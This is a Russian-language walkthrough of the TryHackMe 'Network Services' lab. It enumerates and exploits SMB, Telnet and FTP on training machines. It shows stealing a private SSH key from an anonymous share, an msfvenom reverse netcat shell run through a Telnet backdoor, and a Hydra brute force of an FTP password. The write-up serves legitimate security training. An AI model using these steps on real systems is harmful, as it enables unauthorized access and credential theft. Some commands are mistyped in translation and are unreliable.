Это описание комнаты TryHackMe.com «Сетевые службы», созданной Поломинтсом.
Эта статья будет включать ответы на большинство вопросов, но, по просьбе TryHackMe, в нее не будут включены флаги и пароли.
Эту комнату можно найти в программе обучения по киберзащите на момент написания статьи и здесь.
Мое видеопрохождение вы можете найти ЗДЕСЬ.
Задачи в этой комнате следуют повторяющейся схеме: Понимание, Перечисление и Использование. Задачи «Понимание» расскажут вам о сервисе, который вы собираетесь использовать. Задачи перечисления научат вас собирать данные об услуге. Затем в задачах по эксплуатации вы выполняете эксплойт для каждой службы.
Все виртуальные машины, используемые в этой комнате, находятся в задачах перечисления и обозначены зеленым значком стека. . Поскольку запуск виртуальных машин может занять от 1 до 5 минут, я рекомендую, прежде чем запускать задачу понимания, перейти к задаче перечисления и запустить машину. Это дает ему время на настройку, пока вы возвращаетесь и выполняете задачу «Понимание».
Кроме того, предположим, что вы такой же новичок в TryHackMe, как и я. В этом случае у вас могут быть только виртуальные машины, к которым вы можете подключиться с помощью OpenVPN, введя их IP-адрес в браузере, обычно с номером порта, указанным в задачах, что затем приведет вас к графическому интерфейсу. В этой комнате все не так. Эти виртуальные машины настроены для предоставления тестируемых вами служб и только этих служб. Это означает, что вы будете использовать терминал на своем локальном компьютере, Attack Box, или, если вы являетесь премиум-пользователем, браузерный блок Kali для связи с виртуальными машинами. Я использовал браузерную версию Kali.
Если вы будете использовать свой локальный компьютер, я бы предложил использовать либо компьютер с Linux, либо подсистему Windows для Linux с установленным Kali/вашим любимым вариантом. Все необходимые инструменты предустановлены в Kali, но их можно добавить в другие дистрибутивы. Кроме того, на моем компьютере не работает подсистема Windows для Linux, поэтому вам, возможно, придется разобраться в некоторых вещах самостоятельно.
Существует часть, для которой требуется файл, предоставленный на компьютере Kali с браузером / в поле атаки. Если вы хотите использовать свой локальный компьютер, вам придется запустить Attack Box и загрузить этот файл. Вы также можете использовать «Ящик атаки» только для задания 10.
@@ Впоследствии я узнал, что вы можете загрузить файл с GitHub по адресу rockyou.txt. Это, безусловно, самый простой метод, но я собираюсь оставить эти дополнительные инструкции здесь на случай, если кто-нибудь захочет их попробовать. @@
Как загрузить с помощью WinSCP в Windows 10
Если вы хотите загрузить файл размером 136 МБ и использовать локальный терминал, вот как это сделать на компьютере с Windows. Для переноса я использовал WinSCP. Сначала запустите окно атаки разделенного просмотра. Затем, когда у вас появится доступ к рабочему столу, нажмите «i», расположенный в левом нижнем углу экрана. . Это даст вам IP-адрес Attack Box, имя пользователя и пароль. Затем в WinSCP на экране входа выберите «Новый сайт», затем введите IP-адрес Attack Box в качестве имени хоста, имя пользователя в качестве имени пользователя и пароль в качестве пароля.
Иметь в виду; ваша информация будет отличаться от моей. Выберите sftp в качестве протокола, и он должен автоматически заполнить порт 22; если нет, введите 22 для порта. Затем нажмите «Войти». Вероятно, вы получите всплывающее окно с вопросом, хотите ли вы «Продолжить подключение к неизвестному серверу...». Нажмите «Да». После входа в систему вы окажетесь в корневом каталоге Attack Box; дважды щелкните «Инструменты», затем «списки слов» (путь в WinSCP изменится на /usr/share/wordlists/
это нормально.) Найдите файл с именем rockyou.txt, выберите его и нажмите «Загрузить».
Откроется диалоговое окно «Загрузка», выберите любой путь к файлу и нажмите «ОК». Теперь у вас есть файл, необходимый для выполнения задачи 10. Запомните путь к нему; оно вам понадобится.
Конец, Как загрузить с помощью WinSCP в Windows 10
Как загрузить с помощью терминала Linux
Как и в случае с Windows, вы запустите окно атаки с разделенным представлением. Затем, когда у вас появится доступ к рабочему столу, нажмите «i», расположенный в левом нижнем углу экрана. . Это даст вам IP-адрес Attack Box, имя пользователя и пароль.
В терминале вы наберете sftp root@{Your Attack Box Private IP}
без скобок. Всегда удаляйте фигурные скобки при выполнении команд в этой статье. Имя пользователя каждого Attack Box, который я видел, — root; если у вас другое, введите имя пользователя вместо root в приведенной выше команде. Затем он попросит вас ввести пароль. Скопируйте и вставьте пароль из окна «Информация о машине» окна атаки. Не волнуйтесь, если пароль не отображается; просто вставьте/введите его и нажмите Enter. После подключения вы должны получить приглашение sftp>
. Если что-то пойдет не так, еще раз проверьте, что у вас подключен OpenVPN и что вы используете правильное имя пользователя/IP-адрес/пароль. Получив приглашение sftp
, введите get /root/Desktop/Tools/wordlists/rockyou.txt
, обращая особое внимание на заглавные буквы. Должна начаться загрузка файла в вашу локальную систему.
Если вы используете дистрибутив, аналогичный моему (Kali), он должен поместить файл в домашнюю папку вашего пользователя. Запомните путь к файлу; он понадобится вам для задания 10.
Конец, Как загрузить с помощью терминала Linux
Теперь, разобравшись со всем этим, приступим к заданиям!
Данное Задание носит чисто информационный характер и не требует ответа на вопрос. Прочитав его, вы поймете, что вам необходимо базовое понимание навигации по системам Linux, и предложите возможность освежить свои навыки. Кроме того, это напоминает вам избегать обезвоживания.
Нажмите кнопку «Завершено» и перейдите к следующей задаче.
В этом задании вы узнаете о блоке сообщений сервера службы Microsoft (SMB), клиент-серверном протоколе, используемом для совместного доступа к файлам, принтерам и другим ресурсам в сети. Поскольку это теоретическое задание, прочитайте информацию и ответьте на вопросы ниже. Если вы никогда раньше не видели слова NetBEUI, а я бы вас не винил, если бы вы этого не сделали, оно произносится как Net Buoy, как океанский буй.
Если вы хотите свести к минимуму время ожидания, я рекомендую открыть задачу 3 и нажать зеленую кнопку «Запустить машину», затем прокрутить назад и выполнить эту задачу.
Вопрос 1
Что означает SMB?
Блок сообщений сервера
Вопрос 2
Какой тип протокола представляет собой SMB?
ответ-запрос
Вопрос 3
Что используют клиенты для подключения к серверам?
TCP/IP
Вопрос 4
На каких системах работает Samba?
Юникс
Эта задача охватывает этап сбора информации, который имеет решающее значение для организации успешной эксплуатации.
Если вы следовали приведенным выше инструкциям, вы уже запустили машину для выполнения этой задачи до выполнения задачи 2. Если нет, запустите машину сейчас, нажав зеленую кнопку с надписью «Запустить машину». Как только машина будет полностью запущена и заработает, вы увидите IP-адрес вверху страницы; оно вам понадобится.
Он начинается с краткого описания инструмента сканирования портов Nmap. Если вы хотите/нуждаетесь в большем опыте работы с Nmap, прежде чем продолжить, рекомендуется комната, входящая в серию Red Primer. Единственные две опции, которые вам нужно знать для этой комнаты, — это -A
, которая включает обнаружение ОС, определение версии, сканирование сценариев и трассировку, и опция -p-
, которая сообщает Nmap сканировать все порты, а не только 1000 самых распространенных. Синтаксис сканирования Nmap, который мы будем здесь использовать, — nmap {options} {target}
. Итак, для первого сканирования это будет выглядеть примерно так: nmap -A -p- 10.10.10.10
с IP-адресом вашей активной машины вместо всех 10. На этом снимке экрана показано, где вы найдете IP-адрес вашего компьютера. Обязательно используйте IP-адрес вашего активного компьютера, а не просто копируйте тот, который вы видите здесь.
Мы также собираемся использовать инструмент enum4linux, который был для меня новым. enum4linux используется для перечисления общих ресурсов SMB в системах Windows и Linux. Существует список доступных опций enum4linux; однако я использовал опцию -a
, охватывающую все из них. Примечание. В информации, предоставленной для enum4linux, опция описывается как -A
с заглавной буквы, что неверно; это должна быть строчная буква a
.
Вопрос 1
Выполните сканирование Nmap по вашему выбору. Сколько портов открыто?
Для ответа на этот вопрос вы можете провести базовое сканирование Nmap nmap {IP of your Active Machine}
. Однако, если вы хотите запустить одно сканирование и получить почти всю информацию по следующим вопросам, запустите nmap -A -p- {IP of your Active Machine}
. Вот информация, которую вы получаете при базовом сканировании.
Как видно по результатам сканирования, открытых портов 3: 22, 139 и 445. Однако больше там особо ничего и не нужно.
Вопрос 2
На каких портах работает SMB?
Этот вопрос немного сложнее. SMB является частью Microsoft-ds на порту 445, но может работать через NetBIOS на порту 139. Итак, ответ на этот вопрос — и то, и другое.
139/445
Вопрос 3
Давайте начнем с enum4linux, проведем полный базовый перебор. Для начала, как называется рабочая группа ?
Что касается этого вопроса, если вы запустили nmap -A {Your Machine's IP}
, у вас уже есть эта информация.
Однако этот вопрос рассказывает нам о enum4linux, поэтому давайте воспользуемся им. Запустите enum4linux -a {IP Address of your Active Machine}
.
Как вы можете видеть на скриншотах выше, рабочая группа указана как WORKGROUP.
Вопрос 4
Что получается в качестве названия машины?
Для ответа на этот вопрос вам нужно будет прокрутить вниз до раздела «Результаты хост-скрипта» результатов сканирования, если вы использовали nmap -A -p-
.
Под именем компьютера отображается polosmb
.
Для enum4linux вам придется сделать немного больше выводов.
Вопрос 5
На скриншотах выше также есть ответ на этот вопрос.
Какая версия операционной системы установлена?
6.1
Вопрос 6
На этот вопрос можно ответить только с помощью enum4linux. Запустите enum4linux -A {IP of your Active Machine}
Какую долю можно выделить, что мы могли бы захотеть изучить?
IPC$ — межпроцессное взаимодействие; это не понадобится. print$ предназначен для драйверов принтеров, но это тоже не совсем то, что нам нужно. netlogon для службы входа в сеть, вероятно, не будет содержать необходимой нам информации. Остаются profiles
, которые содержат информацию о профилях пользователей. У этого есть потенциал. Возможно, там мы сможем найти информацию для входа пользователя.
Здесь мы получаем еще больше удовольствия. Мы будем использовать SMBClient, который доступен в Kali, но его можно добавить в другие дистрибутивы. Для SMBClient мы будем использовать синтаксис smbclient //{IP address}/{Share Name} -U {Username} -p {Port Number}
.
Вопрос 1
Каков будет правильный синтаксис для доступа к общему ресурсу SMB, называемому «секретным», в качестве «костюма» пользователя на компьютере с IP-адресом 10.10.10.2 на порту по умолчанию?
Глядя на синтаксис выше, мы можем просто подключить информацию.
smbcliet //10.10.10.2/secret -U suit -p 445
Вопрос 2 Отлично! Теперь, когда вы разобрались с синтаксисом, давайте попробуем воспользоваться этой уязвимостью. У вас есть список пользователей, имя общего ресурса и предполагаемая уязвимость.
Ответ не требуется; просто нажмите «Завершить».
Вопрос 3
Давайте посмотрим, настроен ли наш интересный общий ресурс для анонимного доступа, т.е. для просмотра файлов не требуется аутентификация. Мы можем сделать это легко:
используя имя пользователя «Аноним»
подключение к доле, которую мы нашли на этапе перебора
и не указывая пароль
Когда он запросит пароль, просто нажмите Enter.
Разрешает ли общий ресурс анонимный доступ? Да/Нет?
Если вы видите приглашение smb: >, это означает, что вы успешно вошли в систему без указания пароля. Итак, общий Y
разрешает анонимный доступ.
Вопрос 5
Введите ls
, чтобы просмотреть содержимое общего ресурса. Что вы видите такого, что могло бы дать нам некоторую информацию?
Первым, что бросилось в глаза, был текстовый файл. Теперь имейте в виду, что Linux не любит файлы с пробелами в именах, поэтому вам придется добавлять « » вокруг них в своих командах. Говоря о том, что говорит терминал, набрав «help», вы получите список доступных команд, которые я нашел очень полезными.
Обычно я использую cat
для отображения содержимого файла .txt, но его нет в списке. Кажется, SMBClient этого не знает, поэтому я использовал more
файлов .
Этот файл дает нам две большие части информации: потенциальное имя пользователя, основанное на John Cactus, адрес файла и то, что у Джона настроена учетная запись SSH.
Большой! Поищите интересные документы, которые могут содержать ценную информацию. Кому, как мы можем предположить, принадлежит эта папка профиля?
Джон Кактус
Вопрос 6
Чтение файла .txt из предыдущего вопроса дает нам ответ и на этот вопрос.
Какая служба настроена, чтобы позволить ему работать из дома?
SSH
Вопрос 7
Теперь, когда мы закончили с файлом .txt, нажмите «q», чтобы выйти из редактора.
Хорошо! Теперь мы знаем, в каком каталоге общего ресурса нам следует искать?
Поскольку мы ищем дополнительную информацию об учетной записи Джона SSH, я думаю, что здесь есть папка, которая может оказаться очень полезной; как вы думаете, какой это?
.ssh
Вопрос 8
Этот каталог содержит ключи аутентификации, которые позволяют пользователям аутентифицировать себя и затем получить доступ к серверу. Какой из этих ключей для нас наиболее ценен?
Итак, мы собираемся перейти в папку .ssh, введя cd .ssh
. Затем снова запустите команду ls
, чтобы просмотреть содержимое.
Ключ SSH по умолчанию хранится в файле id_rsa
. Итак, это наш ответ.
Если вы хотите увидеть, как выглядит ключ SSH, вы можете снова использовать команду more, чтобы увидеть. more id_rsa
. Самое важное, что нужно увидеть, это то, что он начинается с «BEGIN RSA PRIVATE KEY» с 5 дефисами с каждой стороны. И затем заканчивается надписью «END RSA PRIVATE KEY», также с 5 пунктирными буквами с каждой стороны. Затем снова нажмите «q», чтобы выйти из редактора.
Теперь мы можем провести дополнительную разведку, чтобы немного упростить следующий вопрос. Запустите more id_isa.pub
. И посмотрите, что вы видите в самом конце файла.
Вопрос 9
Загрузите этот файл на свой локальный компьютер и измените разрешения на «600», используя «chmod 600 [файл]».
Чтобы загрузить файл, просмотрите команду справки и определите, какая команда, по вашему мнению, скорее всего приведет к загрузке.
Я думаю, get
будет приятно. Итак, чтобы загрузить файл, пока он находится в папке .ssh, вы запустите get id_rsa
. На компьютере с браузером Kali файл будет помещен в ваш корневой каталог. Если вы используете локально запускаемый дистрибутив Linux, он, вероятно, поместит его в домашний каталог вашего пользователя.
Теперь для работы файлов ключей RSA требуется определенный уровень безопасности, поэтому нам необходимо установить правильные разрешения для этого файла. У нас также закончился общий доступ, поэтому запустите quit
, чтобы вернуться к командной строке вашего компьютера. Затем запустите chmod 600 {File Path}
Итак, для веб-машины Kali chmod 600 id_rsa
. На других машинах вы можете либо перейти к папке, в которой находится файл, с помощью cd
, а затем запустить приведенную выше команду, введя путь к файлу в команде.
Теперь используйте информацию, которую вы уже собрали, чтобы определить имя пользователя учетной записи. Затем используйте сервис и ключ для входа на сервер.
Поскольку мы провели небольшую дополнительную разведку, мы знаем, что имя пользователя — «кактус». Когда я впервые столкнулся с этим, я предположил, что имя пользователя будет j.cactus, и столкнулся с непонятной мне ошибкой — поиск правильного имени пользователя решил ее.
Синтаксис SSH с использованием указанного ключа: ssh -i {Key File} {Username}@{IP Address}
. Для нас это будет ssh -i id_rsa cactus@{Active Machine's IP Address}
Когда вас спросят, уверены ли вы, что хотите продолжить, введите «да» и нажмите Enter. Поздравляем! Когда вы увидите изменение на cactus@polosmb:~$
, вы успешно вошли на сервер под учетной записью, которая не принадлежит вам.
Используйте команду ls
чтобы увидеть, что здесь, только один файл; откройте его, чтобы захватить этот флаг! Вы можете использовать cat
здесь, чтобы вывести содержимое на экран.
Вопрос 10
Скопируйте содержимое файла, который вы только что открыли, и вставьте его в поле для этого ответа. TryHackMe просит в рецензиях исключать флаги, поэтому я не буду публиковать это здесь.
Когда на этом раздел SMB будет завершен, вам следует завершить текущую активную машину, перейти к задаче 6 и запустить эту машину, прежде чем вернуться к задаче 5.
Telnet — устаревший протокол приложений. Он используется для взаимодействия с удаленными хостами. После подключения к удаленной системе он становится виртуальным терминалом для этой системы. Однако он устарел, поскольку отправляет всю информацию в виде открытого текста; шифрования нет. Поскольку SSH гораздо более безопасен, в большинстве ситуаций он вытеснил Telnet. Чтобы подключиться к удаленной системе с помощью Telnet, вы используете синтаксис telnet {IP Address} {port Number}
. Порт по умолчанию для Telnet — 23.
Вопрос 1
Что такое Телнет?
Протокол приложения
Вопрос 2
Что постепенно заменило Telnet?
SSH
Вопрос 3
Как бы вы подключились к серверу Telnet с IP-адресом 10.10.10.3 через порт 23?
телнет 10.10.10.3 23
Вопрос 4
Отсутствие чего означает, что все общение через Telnet осуществляется в открытом виде?
Шифрование
Если вы еще не запустили компьютер для выполнения этой задачи, сделайте это сейчас.
Как и в случае с задачами SMB, мы начнем со сканирования портов нашей целевой системы.
Запустите nmap -A -p- {IP address of your Active Machine}
Это сканирование может занять некоторое время. Мой был завершен за 174,56 секунды.
Вопрос 1
Сколько портов открыто на целевой машине?
Открыт только «1» порт.
Вопрос 2
Что это за порт? Примечание. Здесь спрашивается, какой порт открыт.
8012
Вопрос 3
Этот порт не назначен, но все же указан используемый им протокол; что это за протокол?
TCP
Вопрос 4
Теперь повторно запустите сканирование Nmap без тега -p-; сколько портов отображаются как открытые?
Помните, что опция -p-
указывает Nmap сканировать все порты, поэтому, удалив ее, Nmap будет сканировать только 1000 верхних портов.
Порты «0» открыты.
Вопрос 5
Мы видим, что при назначении Telnet нестандартного порта он не входит в список общих портов или в топ-1000 портов, которые сканирует Nmap. При подсчете важно опробовать все аспекты, поскольку информация, которую вы здесь соберете, послужит основой для вашего этапа эксплуатации.
Ответ не требуется; нажмите Завершить
Вопрос 6
Судя по возвращенному нам заголовку, как мы думаем, для чего можно использовать этот порт?
Вы можете увидеть, о чем говорит этот вопрос, внизу последнего скриншота.
Черный ход
Вопрос 7
Кому оно могло принадлежать? Сбор возможных имен пользователей является важным шагом в перечислении.
То же, что и последний вопрос, информация на последнем скриншоте.
Скиди
Вопрос 8
Всегда записывайте информацию, которую вы найдете на этапе перечисления, чтобы иметь возможность вернуться к ней, когда перейдете к опробованию эксплойтов.
Ведение записей очень важно. Написание отчетов о наших выводах является важной частью обеспечения безопасности. Привычка тщательного ведения заметок сделает все проще.
Ответ не требуется; нажмите Завершить
Разбивка метода
Итак, на этапе перечисления мы знаем:
- There is a poorly hidden telnet service running on this machine
- The service itself is marked “backdoor”
- We have a possible username of “Skidy” implicated
Используя эту информацию, давайте попробуем получить доступ к этому порту Telnet и использовать его как точку опоры для получения полной обратной оболочки на машине!
Помните, как указано выше, синтаксис telnet: telnet {Machine IP} {Port}
Вопрос 1
Хорошо, давайте попробуем подключиться к этому порту Telnet! Если вы застряли, взгляните на синтаксис подключения, описанный выше.
Для этого вам нужно будет запустить telnet {Your Active Machine's IP Address} 8012
, потому что, хотя порт по умолчанию для Telnet — 23, как мы обнаружили в нашем поиске Nmap, в этой системе он имеет нестандартный порт.
Ответ не требуется; нажмите «Завершить».
Вопрос 2
Большой! Это открытое соединение Telnet! Какое приветственное сообщение мы получаем?
ЗАХОД СКИДИ.
Вопрос 3
Попробуем выполнить несколько команд. Получаем ли мы возврат любого ввода, который вводим в сеанс telnet? (Да/Нет)
Для этого введите любые команды, которые вы хотите. Я попробовал ls
посмотреть, что там. И поскольку мы не получаем никакой информации в ответ, ответ на этот вопрос таков:
Н
Вопрос 4
Хм... это странно. Давайте проверим, выполняется ли то, что мы набираем, как системная команда.
Ответ не требуется; нажмите Завершить.
Вопрос 5
Поскольку все ваши команды отправляются в пустоту, закрыть это соединение немного сложно. Чтобы изменить подсказку на что-то полезное, нажмите ctrl + ]
. Это одновременно управление и правая квадратная скобка, что должно изменить приглашение на telnet>
, затем введите close
и нажмите Enter. Теперь вы должны вернуться к своей обычной подсказке. Или, если хотите, вы можете оставить сеанс telnet подключенным и открыть новую вкладку/окно для запуска следующего tcpdump.
Запустите прослушиватель tcpdump на своем локальном компьютере.
Прослушиватель tcpdump будет отслеживать трафик выбранного интерфейса, а затем регистрировать этот трафик на экране. Вы собираетесь запустить его, а затем оставить его работать в отдельной вкладке/окне.
Если вы используете свой собственный компьютер с подключением OpenVPN, используйте:
sudo tcpdump ip proto icmp -i tun0
Если вы используете AttackBox, используйте:
sudo tcpdump ip proto icmp -i eth0
При этом запускается прослушиватель tcpdump, явно прослушивающий ICMP-трафик, на котором работают пинги.
Разница между ними заключается в сетевом интерфейсе. На вашем локальном компьютере с Linux вы должны использовать tun0, туннелирующее устройство, которое должно быть соединением OpenVPN, но не цитируйте меня по этому поводу. Возможно, вам придется запустить sudo ifconfig
, чтобы определить, какой интерфейс вам следует использовать.
Ответ не требуется; нажмите Завершить
Вопрос 6
Для этого вопроса мы снова будем использовать сеанс telnet; если он у вас все еще открыт, отлично. Если нет, откройте новую вкладку/окно и повторно подключитесь к компьютеру, выполнив те же действия, что и выше. Обратите внимание, что для этого вопроса вам понадобится IP-адрес системы, над которой вы работаете: Attack Box, Kali Machine или вашей локальной системы.
Этот вопрос заключается в том, что мы запускаем команду ping через сеанс telnet. Мы собираемся ввести .RUN ping {Local IP Address} -c 1
. Это позволит отправить 1 пинг с удаленного хоста на нашу локальную машину. Если вы можете видеть оба окна одновременно, вы можете видеть, что происходит по мере того, как это происходит.
Теперь используйте команду «ping [local THM ip] -c 1» через сеанс telnet, чтобы проверить, можем ли мы выполнять системные команды. Получаем ли мы какие-либо пинги? Обратите внимание: вам нужно добавить к этому предисловию .RUN (Да/Нет).
Вы должны увидеть как запрос ping, так и ответ ping на своей вкладке с прослушивателем tcpdump.
Да
Вопрос 7
Большой! Это означает, что мы можем выполнять системные команды И можем получить доступ к нашей локальной машине. Теперь давайте повеселимся!
Ответ не требуется; нажмите Продолжить
Вопрос 8
Для ответа на этот вопрос вы прекратите сеанс telnet и введете его в другой вкладке/окне. Вы можете нажать ctrl + c
чтобы завершить прослушиватель tcpdump и использовать это окно; нам больше не нужен tcpdump. Запустите приведенную ниже команду, вставив IP-адрес вашей локальной системы в скобки, но оставьте скобки. Как только вы нажмете Enter в команде, потребуется некоторое время, чтобы сгенерировать полезную нагрузку, а затем распечатать ее на экране.
Мы собираемся сгенерировать полезную нагрузку обратной оболочки, используя msfvenom. Это сгенерирует и закодирует для нас обратную оболочку netcat. Вот наш синтаксис:
"msfvenom -p cmd/unix/reverse_netcat lhost=[local tun0 ip] lport=4444 R"
-p = полезная нагрузка lhost = IP-адрес нашего локального хоста (это IP-адрес вашего компьютера) lport = порт для прослушивания (это порт на вашем компьютере) R = экспортировать полезные данные в необработанном формате
С какого слова начинается сгенерированная полезная нагрузка?
мкфифо
Вопрос 9
Идеальный. Мы почти у цели. Теперь все, что нам нужно сделать, это запустить прослушиватель netcat на нашей локальной машине. Мы делаем это, используя:
"nc -lvp [порт прослушивания]"
Как будет выглядеть команда для порта прослушивания, который мы выбрали в нашей полезной нагрузке?
NC -lvp 4444
Вопрос 10
Большой! Теперь это работает; нам нужно скопировать и вставить нашу полезную нагрузку msfvenom в сеанс telnet и запустить ее как команду. Надеюсь, это даст нам оболочку на целевой машине!
Помните, что для работы команды в сеансе telnet; вам нужно иметь .RUN в начале.
Ответ не требуется; нажмите «Завершить».
Вопрос 11
Успех! Каково содержимое flag.txt?
Если обратная оболочка сработала, вы должны увидеть «подключиться к [10.10.xx] по IP и т. д.» под прослушивателем netcat.
Отсюда вы можете вводить команды, как обычно, и отправлять их в удаленную систему.
Я бы посоветовал начать с ls
, чтобы увидеть, какие файлы там есть, а остальное вы сможете выяснить, поскольку вы уже захватили такой флаг раньше.
На этом завершается раздел о Telnet. Итак, завершите текущую активную машину, перейдите к задаче 9, запустите эту машину, а затем вернитесь к задаче 8.
FTP, протокол передачи файлов. Как следует из названия, он используется для передачи файлов по сети. Обычный FTP устарел и был заменен несколькими другими, более безопасными стандартами. FTPS — это FTP через TLS, поэтому его порт по умолчанию по-прежнему равен 21, как и FTP. Другой — SFTP, который представляет собой протокол безопасной передачи файлов и использует SSH, поэтому его порт по умолчанию — 22.
Вопрос 1
Какую модель связи использует FTP?
Клиент-сервер
Вопрос 2
Какой стандартный порт FTP?
21
Вопрос 3
Сколько существует режимов FTP-соединения?
2
Мы собираемся работать с FTP-клиентом. Чтобы еще раз проверить, установлен ли в вашей системе FTP-клиент, вы можете ввести ftp
, и вы должны перейти к приглашению ftp>
. Если нет, все, что вам нужно сделать, это установить его через sudo apt install ftp
.
Вопрос 1
Мы собираемся снова использовать Nmap для перечисления этого FTP-сервера. При ответе на следующие вопросы вам понадобится больше информации, чем вы получите при базовом сканировании, поэтому я выбрал nmap {Active Machine IP Address} -A -p-
.
Сколько портов открыто на целевой машине?
Этот вопрос немного странный. Глядя на мой правильный ответ, когда я бежал через эту комнату, он говорит: 2. Выполнение сканирования только что показало, что открыт только порт 21. Я бы предложил начать с 1, а если не получится, скажем со 2.
Вопрос 2
На каком порту работает FTP?
21
Вопрос 3
Какой вариант FTP на нем работает?
vsftpd
Вопрос 4
Отлично, теперь мы знаем, с каким типом FTP-сервера мы имеем дело; мы можем проверить, можем ли мы анонимно войти на FTP-сервер. Мы можем сделать это, набрав ftp [IP]
в консоли и введя «анонимный» и без пароля при появлении запроса.
Как называется файл в анонимном каталоге FTP?
PUBLIC_NOTICE.txt
Вопрос 5
Для этого вопроса вы снова будете использовать команду get
, как и в случае с Telnet. Введите get PUBLIC_NOTICE.txt
Файл будет загружен в вашу систему, и вы сможете просмотреть его содержимое. Вам больше не нужно подключаться к FTP-серверу, поэтому введите exit
, чтобы вернуться к стандартному приглашению.
Теперь вам нужно найти файл, который вы только что скачали. На машине Kali с браузером он помещается в ваш корневой каталог. Он должен находиться в том же каталоге, что и файл, который вы получили во время выполнения задач telnet.
Как только вы нашли его в своей системе, пришло время его прочитать. Либо перейдите к папке, в которой он находится, либо введите полный путь к файлу с помощью команды cat
. cat PUBLIC_NOTICE.txt
и посмотрите, сможете ли вы увидеть какую-либо информацию, которая может быть нам полезна; возможно, что-то, что может быть именем пользователя?
Как мы думаем, каким может быть возможное имя пользователя?
Майк
Вопрос 6
Большой! Теперь у нас есть информация о FTP-сервере и, что особенно важно, возможное имя пользователя. Посмотрим, что с этим можно сделать...
Ответ не требуется; нажмите Завершить.
Для этой конкретной задачи мы будем использовать уже известное нам имя пользователя mike
и попытаемся подобрать его пароль. Здесь в игру вступает файл rockyou.txt
; это список паролей. Если вы используете свою собственную локальную систему, запомните, где вы ее загрузили, и используйте его в качестве пути к файлу. Инструмент, который мы собираемся использовать, называется гидра. Hydra может получить список паролей и попытаться использовать их в системе, чтобы проверить, работают ли они.
На странице TryHackMe подробно описан синтаксис, который мы будем использовать для этой атаки. Я настоятельно рекомендую прочитать это.
hydra -t 4 -l dale -P /usr/share/wordlists/rockyou.txt -vV 10.10.10.6 ftp
В зависимости от того, какую систему вы используете, ваш путь к файлу может отличаться. Кроме того, если вы используете компьютер Kali с браузером, вам потребуется дополнительный шаг. На машине Kali список слов сжимается в файл GZ. Нам нужно его разархивировать. В терминале введите gunzip -d /root/Desktop/wordlists/rockyou.txt.gz
. Через мгновение у вас будет нужный вам несжатый файл.
Чтобы найти правильный пароль, введите hydra -t 4 -l mike -P {Your File Path to rockyou.txt} -vV {Your Active Machine IP} ftp
.
Если все прошло успешно, пароль должен отображаться последней записью в списке.
Какой пароль у пользователя «Майк»?
Вы можете найти это в выводе гидры.
Вопрос 2
Бинго! Теперь давайте подключимся к FTP-серверу от имени этого пользователя, используя «ftp [IP]» и введя учетные данные при появлении запроса.
Теперь мы собираемся войти в систему, используя наши недавно найденные учетные данные.
Введите ftp {Your Active Machine IP Address}
. Затем введите mike
в качестве имени пользователя и ответ на предыдущий вопрос в качестве пароля. Теперь у вас должно появиться приглашение ftp>
.
Ответ не требуется; нажмите «Завершить».
Вопрос 3
Используйте ls
, чтобы просмотреть содержимое каталога. Два файла здесь. Файл .txt, вероятно, будет удобочитаемым для человека. Используйте команду get
, чтобы загрузить его в свою систему. Теперь, когда вы сделали это пару раз, вы сможете найти файл и просмотреть его содержимое. Если у вас возникли трудности, вы можете прокрутить вверх и найти инструкции для других задач.
Что такое ftp.txt?
Поздравляем! Вы захватили свой третий флаг и завершили активную часть комнаты! Отличная работа!
В этом задании предлагается несколько мест, которые стоит посетить, чтобы продолжить чтение по смежным темам.
Ответ не требуется; нажмите Завершить.
Ты отлично справился с прохождением этой комнаты. Поначалу это могло показаться устрашающим, возможно, это было пустяком, но вы сделали это.
Большое спасибо Polomints за создание этой комнаты и TryHackMe за создание этого замечательного сайта.